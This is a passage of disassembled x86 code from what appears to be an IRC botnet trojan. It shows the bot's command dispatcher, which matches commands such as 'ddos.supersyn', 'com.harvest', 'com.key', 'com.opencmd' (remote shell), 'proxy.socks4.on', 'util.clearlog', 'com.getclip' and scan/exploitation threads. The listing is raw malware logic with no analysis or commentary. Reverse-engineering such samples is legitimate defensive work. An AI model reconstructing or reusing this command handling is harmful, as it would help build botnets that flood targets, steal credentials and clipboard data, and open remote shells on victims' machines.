		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_437FB0
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	13h
		push	eax
		call	sub_416E58
		add	esp, 34h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C8F3
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_4101B2


loc_41019C:				; CODE XREF: sub_40F6F1+ABFj
		cmp	[ebp+var_560], ebx
		jnz	loc_4100A4
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_41019C
; ---------------------------------------------------------------------------


loc_4101B2:				; CODE XREF: sub_40F6F1+AA9j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset dword_437F6C
		jmp	loc_410071
; ---------------------------------------------------------------------------


loc_4101C3:				; CODE XREF: sub_40F6F1+9ECj
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_437F2C
		jmp	loc_410071
; ---------------------------------------------------------------------------


loc_4101D4:				; CODE XREF: sub_40F6F1+9DCj
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_437EEC
		jmp	loc_410071
; ---------------------------------------------------------------------------


loc_4101E5:				; CODE XREF: sub_40F6F1+6DBj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42ECF8
		mov	[edi], ecx
		jnz	loc_40FAB8


loc_4101FB:				; CODE XREF: sub_40F6F1+9D0j
		mov	edi, [edi]
		push	edi
		push	offset aIrc_activate ; "irc.activate"
		mov	[ebp+arg_8], edi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41595E
		push	edi
		push	offset aIrc_act	; "irc.act"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41595E
		cmp	[ebp+var_AC], ebx
		jnz	short loc_41024C
		push	[ebp+var_90]
		push	offset dword_438134
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_415956


loc_41024C:				; CODE XREF: sub_40F6F1+B3Fj
		cmp	[ebp+arg_28], ebx
		jnz	loc_415956
		xor	edi, edi
		cmp	dword_430B28, ebx
		jle	loc_4103F8
		mov	[ebp+arg_20], offset dword_446090


loc_41026A:				; CODE XREF: sub_40F6F1+B98j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410290
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_430B28
		jl	short loc_41026A
		jmp	loc_4103F8
; ---------------------------------------------------------------------------


loc_410290:				; CODE XREF: sub_40F6F1+B88j
		push	offset asc_438244 ; " :"
		push	[ebp+arg_0]
		call	sub_417980
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40FAB8
		mov	cl, byte_42ECF8
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42ECF8
		mov	[eax+3], cl
		lea	ecx, dword_4460A8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_4102E5:				; CODE XREF: sub_40F6F1+C9Cj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417980
		add	esp, 14h
		test	eax, eax
		jz	short loc_410351
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_410351
		lea	eax, dword_446090[edi]
		push	eax
		call	sub_417AF0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_410383
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417980
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_410383
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A74C
		add	esp, 0Ch
		jmp	short loc_410383
; ---------------------------------------------------------------------------


loc_410351:				; CODE XREF: sub_40F6F1+C1Cj
					; sub_40F6F1+C23j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_410383
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A74C
		add	esp, 18h


loc_410383:				; CODE XREF: sub_40F6F1+C35j
					; sub_40F6F1+C49j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_4102E5
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4103A0:				; CODE XREF: sub_40F6F1+CFBj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD	; "$%d"
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417980
		add	esp, 14h
		test	eax, eax
		jz	short loc_4103E3
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_4103E3
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A74C
		add	esp, 0Ch


loc_4103E3:				; CODE XREF: sub_40F6F1+CD7j
					; sub_40F6F1+CDDj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4103A0
		mov	[ebp+var_DC], 1


loc_4103F8:				; CODE XREF: sub_40F6F1+B6Cj
					; sub_40F6F1+B9Aj
		mov	eax, [ebp+arg_8]
		mov	edi, [ebp+arg_4]
		mov	al, [eax]
		cmp	al, byte_42ECF8
		jz	short loc_410414
		cmp	[ebp+var_DC], ebx
		jz	loc_410612


loc_410414:				; CODE XREF: sub_40F6F1+D15j
		push	[ebp+arg_10]
		push	offset aMe_0	; "$me"
		push	[ebp+arg_0]
		call	sub_40A74C
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aUser_3	; "$user"
		push	[ebp+arg_0]
		call	sub_40A74C
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	[ebp+arg_0]
		call	sub_40A74C
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	1
		push	eax
		push	edi
		call	sub_4162D6
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	[ebp+arg_0]
		call	sub_40A74C
		add	esp, 44h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	[ebp+arg_0]
		call	sub_40A74C
		push	offset aChr	; "$chr("
		push	[ebp+arg_0]
		call	sub_417980
		add	esp, 14h


loc_41048D:				; CODE XREF: sub_40F6F1+E90j
		test	eax, eax
		jz	loc_410586
		push	offset aChr	; "$chr("
		push	[ebp+arg_0]
		call	sub_417980
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_B8]
		push	offset asc_437E94 ; ")"
		push	eax
		call	sub_41824D
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_4104DD
		cmp	[ebp+var_B8], 39h
		jle	short loc_4104F3


loc_4104DD:				; CODE XREF: sub_40F6F1+DE1j
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_4182F0
		add	esp, 0Ch


loc_4104F3:				; CODE XREF: sub_40F6F1+DEAj
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41791F
		test	eax, eax
		pop	ecx
		jle	short loc_410516
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41791F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_410527
; ---------------------------------------------------------------------------


loc_410516:				; CODE XREF: sub_40F6F1+E11j
		call	sub_417408
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_410527:				; CODE XREF: sub_40F6F1+E23j
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_417AF0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417430
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_B8]
		push	[ebp+arg_10]
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A74C
		push	offset aChr	; "$chr("
		push	[ebp+arg_0]
		call	sub_417980
		add	esp, 30h
		jmp	loc_41048D
; ---------------------------------------------------------------------------


loc_410586:				; CODE XREF: sub_40F6F1+D9Ej
		push	1FFh
		lea	eax, [ebp+var_FB0]
		push	[ebp+arg_0]
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_FB0]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_11B0]
		push	offset asc_428300 ; " "
		push	eax
		call	sub_41824D
		mov	[ebp+var_94], eax
		lea	eax, [ebp+var_90]
		add	esp, 20h
		mov	[ebp+arg_10], eax
		mov	[ebp+arg_8], 1Fh


loc_4105DC:				; CODE XREF: sub_40F6F1+F04j
		push	offset asc_428300 ; " "
		push	ebx
		call	sub_41824D
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_10]
		add	[ebp+arg_10], 4
		dec	[ebp+arg_8]
		mov	[ecx], eax
		jnz	short loc_4105DC
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40FAB8
		add	ecx, 3
		mov	[eax], ecx


loc_410612:				; CODE XREF: sub_40F6F1+D1Dj
		mov	eax, [ebp+esi+var_94]
		push	eax
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41590A
		push	[ebp+arg_8]
		push	offset aRn	; "rn"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41590A
		push	[ebp+arg_8]
		push	offset aIrc_die	; "irc.die"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4158E8
		push	[ebp+arg_8]
		push	offset aIrc_di	; "irc.di"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4158E8
		push	[ebp+arg_8]
		push	offset aIrc_logout ; "irc.logout"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41581A
		push	[ebp+arg_8]
		push	offset aLo	; "lo"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41581A
		push	[ebp+arg_8]
		push	offset aIrc_version ; "irc.version"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4157E1
		push	[ebp+arg_8]
		push	offset aVer	; "ver"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4157E1
		push	[ebp+arg_8]
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4156CB
		push	[ebp+arg_8]
		push	offset aLd_on	; "ld.on"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4156CB
		push	[ebp+arg_8]
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4156CB
		push	[ebp+arg_8]
		push	offset aLd_off	; "ld.off"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4156CB
		push	[ebp+arg_8]
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4155A2
		push	[ebp+arg_8]
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4155A2
		push	[ebp+arg_8]
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41079C
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_437DDC


loc_410782:				; CODE XREF: sub_40F6F1+10D1j
					; sub_40F6F1+10F9j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	edi


loc_41078F:				; CODE XREF: sub_40F6F1+48E0j
		call	sub_4170E6
		add	esp, 20h
		jmp	loc_40FAB8
; ---------------------------------------------------------------------------


loc_41079C:				; CODE XREF: sub_40F6F1+107Cj
		push	[ebp+arg_8]
		push	offset dword_437DCC
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4107C4
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_437DC0
		jmp	short loc_410782
; ---------------------------------------------------------------------------


loc_4107C4:				; CODE XREF: sub_40F6F1+10BCj
		push	[ebp+arg_8]
		push	offset dword_437DB8
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4107EC
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_437DAC
		push	offset dword_437DA0
		jmp	short loc_410782
; ---------------------------------------------------------------------------


loc_4107EC:				; CODE XREF: sub_40F6F1+10E4j
		push	[ebp+arg_8]
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410817
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_437D7C
		push	offset dword_437D6C
		jmp	loc_410782
; ---------------------------------------------------------------------------


loc_410817:				; CODE XREF: sub_40F6F1+110Cj
		push	[ebp+arg_8]
		push	offset dword_437D60
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410842
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_437D54
		push	offset dword_437D48
		jmp	loc_410782
; ---------------------------------------------------------------------------


loc_410842:				; CODE XREF: sub_40F6F1+1137j
		push	[ebp+arg_8]
		push	offset dword_437D38
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41086D
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_437D2C
		push	offset dword_437D20
		jmp	loc_410782
; ---------------------------------------------------------------------------


loc_41086D:				; CODE XREF: sub_40F6F1+1162j
		push	[ebp+arg_8]
		push	offset dword_437D10
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410898
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_437D04
		push	offset dword_437CF8
		jmp	loc_410782
; ---------------------------------------------------------------------------


loc_410898:				; CODE XREF: sub_40F6F1+118Dj
		push	[ebp+arg_8]
		push	offset dword_437CE8
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4108C3
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_437CDC
		push	offset dword_437CD0
		jmp	loc_410782
; ---------------------------------------------------------------------------


loc_4108C3:				; CODE XREF: sub_40F6F1+11B8j
		push	[ebp+arg_8]
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4108EE
		push	[ebp+esi+var_90]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_437CB4
		jmp	loc_410782
; ---------------------------------------------------------------------------


loc_4108EE:				; CODE XREF: sub_40F6F1+11E3j
		push	[ebp+arg_8]
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41558A
		push	[ebp+arg_8]
		push	offset aUtil_ff_off ; "util.ff.off"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41558A
		push	[ebp+arg_8]
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415572
		push	[ebp+arg_8]
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415572
		push	[ebp+arg_8]
		push	offset aClone_off ; "clone.off"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410975
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_437C54
		jmp	loc_410782
; ---------------------------------------------------------------------------


loc_410975:				; CODE XREF: sub_40F6F1+126Aj
		push	[ebp+arg_8]
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4109A0
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_437C2C
		jmp	loc_410782
; ---------------------------------------------------------------------------


loc_4109A0:				; CODE XREF: sub_40F6F1+1295j
		push	[ebp+arg_8]
		push	offset aRoot_stop ; "root.stop"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4109CB
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_410782
; ---------------------------------------------------------------------------


loc_4109CB:				; CODE XREF: sub_40F6F1+12C0j
		push	[ebp+arg_8]
		push	offset aRoot_stats ; "root.stats"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41555E
		push	[ebp+arg_8]
		push	offset aRoot_st	; "root.st"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41555E
		push	[ebp+arg_8]
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41553F
		push	[ebp+arg_8]
		push	offset aIrc_r	; "irc.r"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41553F
		push	[ebp+arg_8]
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41551F
		push	[ebp+arg_8]
		push	offset aIrc_d	; "irc.d"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41551F
		push	[ebp+arg_8]
		push	offset aIrc_quit ; "irc.quit"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4154DB
		push	[ebp+arg_8]
		push	offset aIrc_q	; "irc.q"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4154DB
		push	[ebp+arg_8]
		push	offset aIrc_status ; "irc.status"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41549F
		push	[ebp+arg_8]
		push	offset aIrc_s	; "irc.s"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41549F
		push	[ebp+arg_8]
		push	offset aIrc_id	; "irc.id"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41546A
		push	[ebp+arg_8]
		push	offset aIrc_i	; "irc.i"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41546A
		push	[ebp+arg_8]
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410B31
		call	sub_40AB95
		test	eax, eax
		mov	eax, offset dword_437B54
		jnz	short loc_410B05
		mov	eax, offset dword_437B20


loc_410B05:				; CODE XREF: sub_40F6F1+140Dj
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	edi
		call	sub_40DC10
		add	esp, 1Ch
		jmp	loc_4100A4
; ---------------------------------------------------------------------------


loc_410B31:				; CODE XREF: sub_40F6F1+13FFj
		push	[ebp+arg_8]
		push	offset aThreads_list ; "threads.list"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41537C
		push	[ebp+arg_8]
		push	offset aThreads_l ; "threads.l"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41537C
		push	[ebp+arg_8]
		push	offset aIrc_aliases ; "irc.aliases"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41535E
		push	[ebp+arg_8]
		push	offset aIrc_al	; "irc.al"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41535E
		push	[ebp+arg_8]
		push	offset aIrc_log	; "irc.log"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415271
		push	[ebp+arg_8]
		push	offset aIrc_lg	; "irc.lg"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415271
		push	[ebp+arg_8]
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41525A
		push	[ebp+arg_8]
		push	offset aUtil_clg ; "util.clg"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41525A
		push	[ebp+arg_8]
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415227
		push	[ebp+arg_8]
		push	offset aCom_ni	; "com.ni"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415227
		push	[ebp+arg_8]
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410D3A
		mov	eax, [ebp+esi+var_90]
		push	7Fh
		mov	[ebp+arg_24], eax
		push	eax
		lea	eax, [ebp+var_76C]
		push	eax
		call	sub_4182F0
		mov	eax, [ebp+esi+var_8C]
		push	7Fh
		mov	[ebp+arg_18], eax
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		call	sub_4182F0
		mov	esi, [ebp+esi+var_88]
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_4182F0
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_4182F0
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+arg_18]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_770], edi
		push	[ebp+arg_24]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_437A60
		push	eax
		call	sub_4173AC
		add	esp, 44h
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	14h
		push	eax
		call	sub_416E58
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_40182E
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_410D1A


loc_410D04:				; CODE XREF: sub_40F6F1+1627j
		cmp	[ebp+var_560], ebx
		jnz	loc_414FBB
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_410D04
; ---------------------------------------------------------------------------


loc_410D1A:				; CODE XREF: sub_40F6F1+1611j
		nop
		call	near ptr 7C910331h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_437A14
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		jmp	loc_414FBB
; ---------------------------------------------------------------------------


loc_410D3A:				; CODE XREF: sub_40F6F1+1537j
		push	[ebp+arg_8]
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415200
		push	[ebp+arg_8]
		push	offset aCom_si	; "com.si"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415200
		push	[ebp+arg_8]
		push	offset aIrc_discordanc ; "irc.discordanc33"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4151CA
		push	[ebp+arg_8]
		push	offset aIrc_disco33 ; "irc.disco33"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4151CA
		push	[ebp+arg_8]
		push	offset aCom_procs ; "com.procs"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150C3
		push	[ebp+arg_8]
		push	offset aCom_ps	; "com.ps"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150C3
		push	[ebp+arg_8]
		push	offset aCom_harvest ; "com.harvest"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41509B
		push	[ebp+arg_8]
		push	offset aCom_key	; "com.key"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41509B
		push	[ebp+arg_8]
		push	offset aCom_uptime ; "com.uptime"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415015
		push	[ebp+arg_8]
		push	offset aCom_up	; "com.up"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415015
		push	[ebp+arg_8]
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414FFA
		push	[ebp+arg_8]
		push	offset aCom_drv	; "com.drv"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414FFA
		push	[ebp+arg_8]
		push	offset aCom_testdlls ; "com.testdlls"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414FE3
		push	[ebp+arg_8]
		push	offset aCom_dll	; "com.dll"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414FE3
		push	[ebp+arg_8]
		push	offset aCom_opencmd ; "com.opencmd"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F7B
		push	[ebp+arg_8]
		push	offset aCom_ocmd ; "com.ocmd"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F7B
		push	[ebp+arg_8]
		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410ED5
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_410782
; ---------------------------------------------------------------------------


loc_410ED5:				; CODE XREF: sub_40F6F1+17CAj
		push	[ebp+arg_8]
		push	offset aIrc_who	; "irc.who"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410F6D
		cmp	[ebp+var_8], ebx
		jnz	short loc_410F09
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	edi
		call	sub_40DC10
		add	esp, 14h


loc_410F09:				; CODE XREF: sub_40F6F1+17FEj
		mov	eax, [ebp+arg_18]
		xor	esi, esi
		mov	[ebp+arg_4], eax
		jmp	short loc_410F16
; ---------------------------------------------------------------------------


loc_410F13:				; CODE XREF: sub_40F6F1+186Aj
		mov	eax, [ebp+arg_4]


loc_410F16:				; CODE XREF: sub_40F6F1+1820j
		cmp	[eax], bl
		jz	short loc_410F1D
		inc	eax
		jmp	short loc_410F22
; ---------------------------------------------------------------------------


loc_410F1D:				; CODE XREF: sub_40F6F1+1827j
		mov	eax, offset aEmpty ; "<Empty>"


loc_410F22:				; CODE XREF: sub_40F6F1+182Aj
		push	eax
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4173AC
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	edi
		call	sub_40DC10
		add	[ebp+arg_4], 80h
		add	esp, 24h
		inc	esi
		cmp	esi, 2
		jl	short loc_410F13
		push	offset dword_4378DC


loc_410F62:				; CODE XREF: sub_40F6F1+5D74j
		call	sub_40C4F7
		pop	ecx
		jmp	loc_415956
; ---------------------------------------------------------------------------


loc_410F6D:				; CODE XREF: sub_40F6F1+17F5j
		push	[ebp+arg_8]
		push	offset aCom_getclip ; "com.getclip"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F3E
